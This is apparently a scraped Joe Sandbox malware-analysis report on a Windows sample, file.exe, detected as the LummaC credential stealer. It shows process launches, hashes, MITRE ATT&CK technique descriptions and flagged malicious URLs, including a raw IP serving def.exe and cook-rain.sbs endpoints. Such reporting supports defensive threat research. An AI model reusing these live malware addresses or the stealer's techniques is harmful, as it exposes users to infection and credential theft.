2024-11-19 18:15:22 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	13:13:58
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcf0000
File size:	1'832'960 bytes
MD5 hash:	888242C19537F0F114634D771CE4A9CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1774313247.0000000001701000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:14:23
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:14:24
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2388,i,17003217840531008037,10136595972546319066,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:14:26
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:14:26
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1952,i,10276600850100983597,11233374651624369468,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 05BF46E1 Relevance: 1.2, Instructions: 1214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1771789944.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp, Offset: 05BF2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5bed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ffc88ed1b48a20f01799efbc7ccf4ddc469b52bf27de0bdeb849aabae02636
Instruction ID: 15672594a1dba24d0719ae948594c3984497b23757ed59ffdebf702f2d9b0faf
Opcode Fuzzy Hash: 76ffc88ed1b48a20f01799efbc7ccf4ddc469b52bf27de0bdeb849aabae02636
Instruction Fuzzy Hash: EC92DE6644E7C15FCB238B748C39851BFB0AE1320435E86CFC9C5CF4A3E659A94AD762

Function 05BF46E1 Relevance: 1.2, Instructions: 1170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1771789944.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp, Offset: 05BF1000, based on PE: false

Associated: 00000000.00000003.1837348349.0000000005BEF000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5bed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d9a0a500d428f2fca15a6bc541ce38f86c100d682c2f6f09972d55407cd16d
Instruction ID: cd9bdafe71ec01f3279e4612bb51172ec25786bbdb6744b2d035496ef02850a2
Opcode Fuzzy Hash: e3d9a0a500d428f2fca15a6bc541ce38f86c100d682c2f6f09972d55407cd16d
Instruction Fuzzy Hash: 0782FF6644E7C19FCB238B748C39851BFB0AE1320435E86CFC9C5CF4A3E659694AD762

Function 05BF46E1 Relevance: 1.2, Instructions: 1170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1771789944.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp, Offset: 05BEF000, based on PE: false

Associated: 00000000.00000003.1837348349.0000000005BEF000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5bed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d9a0a500d428f2fca15a6bc541ce38f86c100d682c2f6f09972d55407cd16d
Instruction ID: cd9bdafe71ec01f3279e4612bb51172ec25786bbdb6744b2d035496ef02850a2
Opcode Fuzzy Hash: e3d9a0a500d428f2fca15a6bc541ce38f86c100d682c2f6f09972d55407cd16d
Instruction Fuzzy Hash: 0782FF6644E7C19FCB238B748C39851BFB0AE1320435E86CFC9C5CF4A3E659694AD762

Source: http://185.215.113.16/off/def.exe~81	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/api%F	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/t_stat	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiwF	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiJ	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/NF	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/e48	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apirG	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exed4f	Avira URL Cloud: Label: phishing

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 70

Windows Analysis Report
file.exe